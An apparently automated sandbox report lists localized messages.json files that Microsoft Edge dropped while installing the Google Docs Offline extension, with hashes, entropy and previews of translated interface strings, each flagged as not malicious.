SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
